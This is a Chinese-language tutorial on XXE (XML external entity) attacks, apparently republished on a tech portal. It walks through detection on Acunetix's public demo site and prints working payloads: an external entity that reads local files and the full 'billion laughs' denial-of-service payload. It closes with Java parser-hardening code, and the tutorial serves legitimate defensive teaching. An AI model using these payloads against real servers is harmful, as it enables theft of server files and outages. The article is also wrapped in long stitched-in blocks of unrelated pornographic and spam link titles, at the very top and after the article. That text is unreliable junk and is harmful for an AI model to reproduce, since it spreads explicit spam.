精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

淺談XXE攻擊

安全 應用安全
本文主要討論什么是XML外部實體,這些外部實體是如何被攻擊的。

一、介紹

現在越來越多主要的web程序被發現和報告存在XXE(XML External Entity attack)漏洞,比如說facebook、paypal等等。 舉個例子,我們掃一眼這些網站最近獎勵的漏洞,充分證實了前面的說法。盡管XXE漏洞已經存在了很多年,但是它從來沒有獲得它應得的關注度。很多XML的解析器默認是含有XXE漏洞的,這意味著開發人員有責任確保這些程序不受此漏洞的影響。

[[184002]]

本文主要討論什么是XML外部實體,這些外部實體是如何被攻擊的。

二、什么是XML外部實體?

如果你了解XML,你可以把XML理解為一個用來定義數據的東東。因此,兩個采用不同技術的系統可以通過XML進行通信和交換數據。 比如,下圖就是一個用來描述一個職工的XML文檔樣本,其中的’name’,'salary’,'address’ 被稱為XML的元素。

Image

有些XML文檔包含system標識符定義的“實體”,這些XML文檔會在DOCTYPE頭部標簽中呈現。這些定義的’實體’能夠訪問本地或者遠程的內容。比如,下面的XML文檔樣例就包含了XML ‘實體’。

Image

在上面的代碼中, XML外部實體 ‘entityex’ 被賦予的值為:file://etc/passwd。在解析XML文檔的過程中,實體’entityex’的值會被替換為URI(file://etc/passwd)內容值(也就是passwd文件的內容)。 關鍵字’SYSTEM’會告訴XML解析器,’entityex’實體的值將從其后的URI中讀取。因此,XML實體被使用的次數越多,越有幫助。

三、什么是XML外部實體攻擊?

有了XML實體,關鍵字’SYSTEM’會令XML解析器從URI中讀取內容,并允許它在XML文檔中被替換。因此,攻擊者可以通過實體將他自定義的值發送給應用程序,然后讓應用程序去呈現。 簡單來說,攻擊者強制XML解析器去訪問攻擊者指定的資源內容(可能是系統上本地文件亦或是遠程系統上的文件)。比如,下面的代碼將獲取系統上folder/file的內容并呈獻給用戶。

Image

四、怎么甄別一個XML實體攻擊漏洞?

最直接的回答就是: 甄別那些接受XML作為輸入內容的端點。 但是有時候,這些端點可能并不是那么明顯(比如,一些僅使用JSON去訪問服務的客戶端)。在這種情況下,滲透測試人員就必須嘗試不同的測試方式,比如修改HTTP的請求方法,修改Content-Type頭部字段等等方法,然后看看應用程序的響應,看看程序是否解析了發送的內容,如果解析了,那么則可能有XXE攻擊漏洞。

五、如何確認XXE漏洞?

出于演示的目的,我們將用到一個Acunetix維護的demo站點,這個站點就是: http://testhtml5.vulnweb.com/。這個站點可用于測試Acunetix web掃描器的功能。 訪問 http://testhtml5.vulnweb.com/ 站點,點擊 ‘Login’下面的 ‘Forgot Password’ 鏈接。注意觀察應用程序怎樣使用XML傳輸數據,過程如下圖所示:

請求:

Image

響應:

Image

觀察上面的請求與響應,我們可以看到,應用程序正在解析XML內容,接受特定的輸入,然后將其呈現給用戶。為了測試驗證XML解析器確實正在解析和執行我們自定義的XML內容,我們發送如下的請求

修改后的請求和響應:

myentity、值為’testing’的實體

如上圖所示,我們在上面的請求中定義了一個名為myentity、值為’testing’的實體。 響應報文清晰地展示了解析器已經解析了我們發送的XML實體,然后并將實體內容呈現出來了。 由此,我們可以確認,這個應用程序存在XXE漏洞。

六、如何進行XXE攻擊?

  1. Code 1: 
  2.  
  3.      
  4.  
  5.     1. To read files on same server: 
  6.  
  7.      
  8.  
  9.      <?xml version="1.0" encoding="ISO-8859-1"?> 
  10.  
  11.      
  12.  
  13.      <!DOCTYPE foo [  
  14.  
  15.      
  16.  
  17.      <!ENTITY myentity SYSTEM "file:///location/anyfile" >]> 
  18.  
  19.      
  20.  
  21.      <abc>&myentity;</abc> 
  22.  
  23.      
  24.  
  25.     2. To crash the server / Cause denial of service: 
  26.  
  27.      
  28.  
  29.      <?xml version="1.0"?> 
  30.  
  31.      
  32.  
  33.      <!DOCTYPE lolz [ 
  34.  
  35.      
  36.  
  37.      <!ENTITY lol "lol"> 
  38.  
  39.      
  40.  
  41.      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
  42.  
  43.      
  44.  
  45.      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 
  46.  
  47.      
  48.  
  49.      <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 
  50.  
  51.      
  52.  
  53.      <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 
  54.  
  55.      
  56.  
  57.      <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 
  58.  
  59.      
  60.  
  61.      <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 
  62.  
  63.      
  64.  
  65.      <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 
  66.  
  67.      
  68.  
  69.      <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> 
  70.  
  71.      
  72.  
  73.      ]> 
  74.  
  75.      
  76.  
  77.      <lolz>&lol9;</lolz> 

上面樣例代碼1中的XXE漏洞攻擊就是著名的’billion laughs’(https://en.wikipedia.org/wiki/Billion_laughs)攻擊,該攻擊通過創建一項遞歸的 XML 定義,在內存中生成十億個”Ha!”字符串,從而導致 DDoS 攻擊。原理為:構造惡意的XML實體文件耗盡可用內存,因為許多XML解析器在解析XML文檔時傾向于將它的整個結構保留在內存中,解析非常慢,造成了拒絕服務器攻擊。除了這些,攻擊者還可以讀取服務器上的敏感數據,還能通過端口掃描,獲取后端系統的開放端口。

影響:

此漏洞非常危險, 因為此漏洞會造成服務器上敏感數據的泄露,和潛在的服務器拒絕服務攻擊。

補救措施:

上面討論的主要問題就是XML解析器解析了用戶發送的不可信數據。然而,要去校驗DTD(document type definition)中SYSTEM標識符定義的數據,并不容易,也不大可能。大部分的XML解析器默認對于XXE攻擊是脆弱的。因此,最好的解決辦法就是配置XML處理器去使用本地靜態的DTD,不允許XML中含有任何自己聲明的DTD。

比如下面的Java代碼,通過設置相應的屬性值為false,XML外部實體攻擊就能夠被阻止。因此,可將外部實體、參數實體和內聯DTD 都被設置為false,從而避免基于XXE漏洞的攻擊。

以下是代碼的第二段

  1. import javax.xml.parsers.DocumentBuilderFactory; 
  2.  
  3.      
  4.  
  5.     import javax.xml.parsers.ParserConfigurationException; // catching unsupported features 
  6.  
  7.      
  8.  
  9.     ... 
  10.  
  11.      
  12.  
  13.      DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 
  14.  
  15.      
  16.  
  17.      try { 
  18.  
  19.      
  20.  
  21.      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities 
  22.  
  23.      
  24.  
  25.      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities 
  26.  
  27.      
  28.  
  29.      String FEATURE = "http://xml.org/sax/features/external-general-entities"
  30.  
  31.      
  32.  
  33.      dbf.setFeature(FEATURE, false); 
  34.  
  35.      
  36.  
  37.      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities 
  38.  
  39.      
  40.  
  41.      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities 
  42.  
  43.      
  44.  
  45.      FEATURE = "http://xml.org/sax/features/external-parameter-entities"
  46.  
  47.      
  48.  
  49.      dbf.setFeature(FEATURE, false); 
  50.  
  51.      
  52.  
  53.      // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl 
  54.  
  55.      
  56.  
  57.      FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"
  58.  
  59.      
  60.  
  61.      dbf.setFeature(FEATURE, true); 
  62.  
  63.      
  64.  
  65.      // remaining parser logic 
  66.  
  67.      
  68.  
  69.      ... 
  70.  
  71.      
  72.  
  73.      catch (ParserConfigurationException e) { 
  74.  
  75.      
  76.  
  77.      // This should catch a failed setFeature feature 
  78.  
  79.      
  80.  
  81.      logger.info("ParserConfigurationException was thrown. The feature '" + 
  82.  
  83.      
  84.  
  85.      FEATURE + 
  86.  
  87.      
  88.  
  89.      "' is probably not supported by your XML processor."); 
  90.  
  91.      
  92.  
  93.      ... 
  94.  
  95.      
  96.  
  97.      } 
  98.  
  99.      
  100.  
  101.      catch (SAXException e) { 
  102.  
  103.      
  104.  
  105.      // On Apache, this should be thrown when disallowing DOCTYPE 
  106.  
  107.      
  108.  
  109.      logger.warning("A DOCTYPE was passed into the XML document"); 
  110.  
  111.      
  112.  
  113.      ... 
  114.  
  115.      
  116.  
  117.      } 
  118.  
  119.      
  120.  
  121.      catch (IOException e) { 
  122.  
  123.      
  124.  
  125.      // XXE that points to a file that doesn't exist 
  126.  
  127.      
  128.  
  129.      logger.error("IOException occurred, XXE may still possible: " + e.getMessage());.. } 
責任編輯:趙寧寧 來源: FreeBuf
相關推薦

2014-07-09 15:41:51

2012-11-30 14:54:48

2010-09-13 10:14:30

2012-11-30 14:35:17

2012-02-14 09:43:08

2011-10-14 09:23:14

2015-05-06 10:02:26

2010-09-17 10:35:10

2013-11-12 14:11:10

2020-10-15 14:10:51

網絡攻擊溯源

2015-05-18 13:51:08

2010-07-22 11:18:14

2020-10-15 14:00:20

網絡攻擊溯源

2013-07-27 20:19:14

2011-01-26 11:09:07

2016-09-30 15:59:41

2013-07-08 14:45:52

2017-01-09 14:54:46

2010-10-08 13:14:35

2013-05-22 15:26:24

點贊
收藏

51CTO技術棧公眾號

懂色一区二区三区av片| 不用播放器成人网| 亚洲人成色77777| 国产在线视频你懂得| 另类小说综合欧美亚洲| 久久99久久99精品中文字幕| 国产+高潮+白浆+无码| 亚洲成a人片| 亚洲精品乱码久久久久久黑人| 91入口在线观看| 一级黄色在线观看| 狠狠88综合久久久久综合网| 国产一区二区三区视频免费| 小日子的在线观看免费第8集| 欧美亚洲日本精品| **欧美大码日韩| 精品视频一区二区| 国产内射老熟女aaaa∵| 玖玖视频精品| 久久99久久亚洲国产| 中文字幕免费在线看线人动作大片| 亚洲五码在线| 欧美日韩国产欧美日美国产精品| 国产妇女馒头高清泬20p多| 一区二区三区视频网站| 91在线观看高清| 国产福利久久| 国产婷婷一区二区三区久久| 久久久夜精品| 69视频在线播放| 国产亚洲精品女人久久久久久| 色喇叭免费久久综合网| 亚洲欧美综合另类中字| 最近中文字幕无免费| 在线视频亚洲欧美中文| 91精品国产91综合久久蜜臀| 国产嫩草在线观看| 免费观看成人性生生活片| 狠狠躁夜夜躁人人爽天天天天97 | 亚洲一区二区三区国产| 做爰高潮hd色即是空| 国产69久久| 久久久噜噜噜久久中文字幕色伊伊| 国产精品一区视频| 国产黄a三级三级看三级| 久久99久国产精品黄毛片色诱| 欧美资源在线观看| 女人十八岁毛片| 日韩亚洲国产精品| 韩国三级电影久久久久久| 波多野结衣亚洲色图| 亚洲成人二区| 欧美成人午夜影院| 免费一级肉体全黄毛片| 欧美在线播放| 欧美激情第6页| 青娱乐国产精品| 欧美fxxxxxx另类| 欧美成在线观看| 一区二区成人免费视频| 在线国产一区二区| 欧美韩日一区二区| 国产精品美女毛片真酒店| 一区在线免费观看| 欧美亚洲另类视频| 啪啪小视频网站| 久久精品国产亚洲aⅴ| 91青草视频久久| 性中国xxx极品hd| 成人av综合在线| 欧美大香线蕉线伊人久久| 午夜18视频在线观看| 久久婷婷久久一区二区三区| 欧美久久综合性欧美| 成人免费高清在线播放| 1区2区3区欧美| 成年人视频网站免费| 白浆在线视频| 欧美色图天堂网| 中文字幕avav| 日韩精品福利一区二区三区| 中文字幕av一区| 农村黄色一级片| 在线看片欧美| 欧美洲成人男女午夜视频| 欧美视频xxxx| 国产激情视频一区二区三区欧美 | 奇米狠狠一区二区三区| 国产一区二区三区丝袜| 男人操女人的视频网站| 亚洲免费激情| 国产欧美日韩中文| 日本人妻丰满熟妇久久久久久| 久久这里都是精品| 少妇高潮大叫好爽喷水| 手机在线观看av| 欧美日本在线播放| 性欧美丰满熟妇xxxx性久久久| 精品美女久久久| 欧美激情第99页| 天天天天天天天干| 成人免费毛片a| 亚洲欧洲一区二区| 色黄网站在线观看| 在线观看日产精品| 中文字幕人妻一区二区三区| 欧美亚洲在线日韩| 久久久久久伊人| 精品无码一区二区三区的天堂| 国产电影一区二区三区| 欧美日韩亚洲在线| 在线观看操人| 精品视频999| 中文字幕一区二区久久人妻网站| 久久国产成人精品| 欧美最猛性xxxxx免费| 99热这里只有精品1| 国产午夜精品久久久久久免费视| 欧美一级黄色录像片| 姬川优奈av一区二区在线电影| 日韩欧美aaaaaa| 欧美日韩国产一二三区| 先锋亚洲精品| 成人在线视频网址| 久久99精品久久久久久野外| 色偷偷成人一区二区三区91| 精品1卡二卡三卡四卡老狼| 999国产精品| 国产精品久久久久久久久久 | 菠萝蜜视频在线观看一区| youjizz.com亚洲| 日韩美女在线看免费观看| 亚洲国产精品va在线| 青青操国产视频| 韩国三级在线一区| 麻豆中文字幕在线观看| 欧美gv在线| 亚洲国产精品va在线| 欧美精品成人久久| 国产黄色精品网站| 五月天激情图片| 99综合久久| 久久婷婷国产麻豆91天堂| 高潮无码精品色欲av午夜福利| 久久日一线二线三线suv| 欧美精品一区免费| 亚洲成人一品| 日本精品免费观看| 国内av一区二区三区| 色综合久久中文综合久久97 | 最新国产成人在线观看| 中文字幕 91| 999视频精品| 91亚洲永久免费精品| 国产婷婷视频在线| 日韩一区二区中文字幕| 精品爆乳一区二区三区无码av| 国产精品综合一区二区三区| 777久久精品一区二区三区无码 | 区一区二区三区中文字幕| 超碰一区二区| 在线看日韩欧美| 探花国产精品一区二区| 国产精品久99| 亚洲国产日韩在线一区| 精品电影一区| 欧美福利精品| 日韩国产一二三区| 久久99视频免费| 偷拍精品一区二区三区| 在线免费观看日本欧美| 波多野结衣久久久久| 国产精品一二一区| 男女视频网站在线观看| 自拍偷拍欧美一区| 国产一区二中文字幕在线看| 在线观看中文字幕的网站| 亚洲精品美女在线观看播放| 波多野结衣小视频| 亚洲另类在线视频| 黄色免费看视频| 秋霞国产午夜精品免费视频| 影音先锋男人的网站| 精品嫩草影院| 国产精品视频1区| caoprom在线| 伊人成人开心激情综合网| 国产欧美久久久| 精品久久久久久久中文字幕| 日韩不卡av在线| 国产成人免费在线观看不卡| 国产资源在线视频| 久久美女精品| 国产日韩一区二区三区| 成人a在线观看高清电影| 欧美大片欧美激情性色a∨久久| 四虎影视精品成人| 91精品国产综合久久香蕉麻豆| 久久狠狠高潮亚洲精品| 一色桃子久久精品亚洲| 免费成人蒂法网站| 韩国三级中文字幕hd久久精品| 99爱视频在线| 国产精品大片| 亚洲二区自拍| 日韩激情毛片| 7777精品伊久久久大香线蕉语言| 樱花草涩涩www在线播放| 欧美成人免费小视频| 国产黄色免费在线观看| 亚洲成人av片| 国产麻豆免费观看| 欧美中文字幕一区二区三区| 国产精品99精品| ...xxx性欧美| 国产亚洲精品精品精品| 91丨porny丨国产入口| 18禁一区二区三区| 精久久久久久久久久久| 少妇性l交大片| 在线综合亚洲| 国产欧美精品aaaaaa片| 国产精品久久久乱弄| 日韩电影天堂视频一区二区| 久久久久影视| 国产传媒一区二区三区| 人人九九精品视频| 亚洲va欧美va国产综合久久| 日本精品网站| 日韩av日韩在线观看| 九色porny自拍视频在线播放 | 黄在线观看免费网站ktv| 美日韩在线视频| 毛片在线看网站| 日韩在线欧美在线| 素人av在线| 色综合影院在线| 亚洲s色大片| 亚洲欧美另类在线观看| 日韩有码电影| 日韩国产精品视频| 亚洲人妻一区二区三区| 亚洲精品久久久久久久久久久久| 黄色www视频| 亚洲韩国欧洲国产日产av| 天天射天天操天天干| 亚洲精品第一页| 天堂中文资源在线| 亚洲精品在线观看www| 免费国产在线视频| 一本久久综合亚洲鲁鲁| 国产精品久久久久一区二区国产 | 成人自拍av| 国产精品都在这里| 成人免费视频观看| 成人亲热视频网站| 亚洲开心激情| 黄色国产精品一区二区三区| 精品欧美午夜寂寞影院| 鲁丝一区鲁丝二区鲁丝三区| 九九在线高清精品视频| 日本一区二区在线| 午夜精品视频一区二区三区在线看| 亚洲天堂av免费在线观看| 欧美韩日精品| 亚洲 欧美 日韩 国产综合 在线| 在线亚洲自拍| 爱情岛论坛亚洲首页入口章节| 蜜臀a∨国产成人精品| 超碰在线资源站| 成人一级片在线观看| 极品粉嫩小仙女高潮喷水久久 | 欧美zozozo| 天天干天天爱天天操| 一区二区三区国产在线观看| 欧美激情午夜| 午夜精品久久久久久99热| 我爱我色成人网| 成人网在线视频| 国产精品1luya在线播放| 欧美一区国产一区| 久久久久久久久国产一区| 国产成人在线小视频| 久久福利毛片| 91人妻一区二区三区| 91玉足脚交白嫩脚丫在线播放| 大吊一区二区三区| 亚洲大尺度视频在线观看| 亚洲中文字幕无码爆乳av| 欧美一卡二卡在线| 男同在线观看| 欧美高跟鞋交xxxxxhd| 欧美电影网站| 超碰97网站| 成人av国产| 精品无码一区二区三区爱欲| 日韩av电影一区| 日本在线不卡一区二区| 国产精品久久久久久久久免费相片| 国产无码精品一区二区| 欧美日韩卡一卡二| 亚洲三区在线播放| 欧美精品在线免费播放| 日韩中文在线播放| 国产日韩亚洲精品| 亚洲成人tv| 国产成人黄色网址| 99在线精品免费| 国产女人被狂躁到高潮小说| 色999日韩国产欧美一区二区| www.日本在线观看| 色一区av在线| 肉色欧美久久久久久久免费看| 51成人做爰www免费看网站| 俺要去色综合狠狠| 欧美视频在线播放一区| 国产精品自拍av| 殴美一级黄色片| 在线视频国内一区二区| 深爱激情五月婷婷| 欧美极品少妇xxxxⅹ免费视频 | 精品国产免费人成电影在线观...| 久久福利影院| 国产精品视频分类| 国产农村妇女毛片精品久久麻豆| 国产成人在线免费视频| 精品乱码亚洲一区二区不卡| 顶级网黄在线播放| 成人黄色在线免费| 91亚洲国产成人久久精品| 色综合天天色综合| 国产免费观看久久| 五月婷婷激情五月| 国产亚洲精品高潮| 欧美福利在线播放| 天堂一区二区三区 | 午夜久久电影网| 亚洲成a人片77777精品| 蜜臀久久99精品久久久无需会员| 久久亚洲资源中文字| 一区精品在线| 久久av资源网| 国产精品丝袜一区二区| 欧美精品v国产精品v日韩精品| 91ph在线| 91热精品视频| 欧美理论在线| 中文字幕在线视频播放| 亚洲国产成人tv| 免费观看黄色一级视频| 国内久久久精品| 日韩美女国产精品| 久久久久久久久久久久久国产精品| 2021中文字幕一区亚洲| 亚洲天堂五月天| 亚洲欧洲一区二区三区久久| 欧美精品资源| eeuss中文| 成人免费三级在线| 一级黄色在线视频| 日韩性xxxx爱| 亚洲专区**| 午夜精品久久久久久久无码| 久久综合九色综合97婷婷| 国产又粗又猛又爽又| 精品国产一区二区三区久久久狼| 精品国产乱码一区二区三区| 免费特级黄色片| 久久只精品国产| 96亚洲精品久久久蜜桃| 欧美激情精品久久久久久| 久久av超碰| 精品国产鲁一鲁一区二区三区| 亚洲丰满少妇videoshd| 国产在线观看高清视频| 国产热re99久久6国产精品| 欧美午夜一区| 久久国产柳州莫菁门| 91精品国产一区二区三区蜜臀| 成人高潮aa毛片免费| 欧美一二三四五区| 激情五月激情综合网| 亚洲 欧美 日韩 综合| 中文字幕在线视频日韩| 成人动漫视频| 久久精品影视大全| 国产激情视频一区二区三区欧美 | 一区二区三区精品| 亚洲欧洲精品视频| 庆余年2免费日韩剧观看大牛| 日本欧美肥老太交大片| 免费网站在线观看黄| 亚洲福利视频一区| porn亚洲| 成人在线视频网址| 奇米影视在线99精品| 国产网址在线观看| 日韩中文字幕免费| 日韩在线你懂的| 亚洲一二区在线观看|